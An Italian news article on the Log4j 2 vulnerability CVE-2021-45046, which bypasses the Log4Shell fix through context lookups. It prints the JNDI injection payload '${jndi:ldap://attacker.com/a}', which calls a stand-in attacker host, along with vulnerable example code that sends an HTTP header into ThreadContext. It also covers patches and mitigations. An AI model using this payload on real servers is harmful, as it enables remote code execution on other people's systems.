Nell'implementazione delle sostituzioni JNDI nella libreria Log4j 2 è stata identificata un'altra vulnerabilità (CVE-2021-45046), che si manifesta nonostante le correzioni incluse nella versione 2.15 e indipendentemente dall'uso dell'impostazione «log4j2.noFormatMsgLookup» per la protezione. Il problema rappresenta un pericolo principalmente per le versioni obsolete di Log4j 2, protette dall'opzione «noFormatMsgLookup», poiché consente di aggirare la protezione contro una precedente vulnerabilità (Log4Shell, CVE-2021-44228), che permette l'esecuzione di codice sul server. Per gli utenti della versione 2.15, lo sfruttamento è limitato alla creazione di condizioni per il crash dell'applicazione a causa dell'esaurimento delle risorse disponibili.
La vulnerabilità si manifesta solo sui sistemi in cui, durante la registrazione, vengono utilizzate richieste contestuali (Context Lookup), come ${ctx:loginId}, o modelli MDC (Thread Context Map), ad esempio, %X, %mdc e %MDC. Lo sfruttamento consiste nella creazione di condizioni per la registrazione di dati contenenti sostituzioni JNDI, utilizzando richieste contestuali o modelli MDC che definiscono le regole di formattazione della registrazione.
I ricercatori di LunaSec hanno sottolineato che per le versioni di Log4j inferiori alla 2.15, questa vulnerabilità può essere utilizzata come un nuovo vettore per l'attacco Log4Shell, che porta all'esecuzione di codice, se nelle registrazioni vengono utilizzate espressioni ThreadContext che includono dati esterni, indipendentemente dall'attivazione del flag «noMsgFormatLookups» o del modello «%m{nolookups}».
L'aggiramento della protezione consiste nel fatto che invece della sostituzione diretta «${jndi:ldap://attacker.com/a}», questa espressione viene inserita attraverso il valore di una variabile intermedia, utilizzata nelle regole di formattazione della registrazione. Ad esempio, se nella registrazione viene utilizzata una richiesta contestuale ${ctx:apiversion}, l'attacco può essere eseguito inserendo i dati «${jndi:ldap://attacker.com/a}» nel valore assegnato alla variabile apiversion. Esempio di codice vulnerabile: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Il valore dell'intestazione HTTP «X-Api-Version» viene passato al ThreadContext ThreadContext.put("apiversion", apiVersion); // Quando si registra, il valore esterno apiversion sarà elaborato tramite la sostituzione ${ctx:apiversion} logger.info("Received a request for API version"); return "Hello, world!"; }
Nella versione Log4j 2.15, la vulnerabilità può essere sfruttata per eseguire attacchi DoS quando si passano valori nel ThreadContext che causano un ciclo infinito nell'elaborazione del modello di formattazione dell'output.
Per bloccare la vulnerabilità, sono stati rilasciati aggiornamenti 2.16 e 2.12.2. Nella versione Log4j 2.16, oltre alle correzioni implementate nella versione 2.15 e al binding delle richieste JNDI LDAP a «localhost», la funzionalità JNDI è completamente disattivata per impostazione predefinita e il supporto per i modelli di sostituzione dei messaggi è stato rimosso. Come soluzione alternativa per la protezione, è stato suggerito di rimuovere la classe JndiLookup dal classpath (ad esempio, «zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class»).
È possibile monitorare l'uscita delle correzioni nei pacchetti sulle pagine dei distribuzioni (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) e dei fornitori di piattaforme Java (GitHub, Docker, Oracle, vmWare, Broadcom e Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, ecc.).
Fonte: opennet.ru
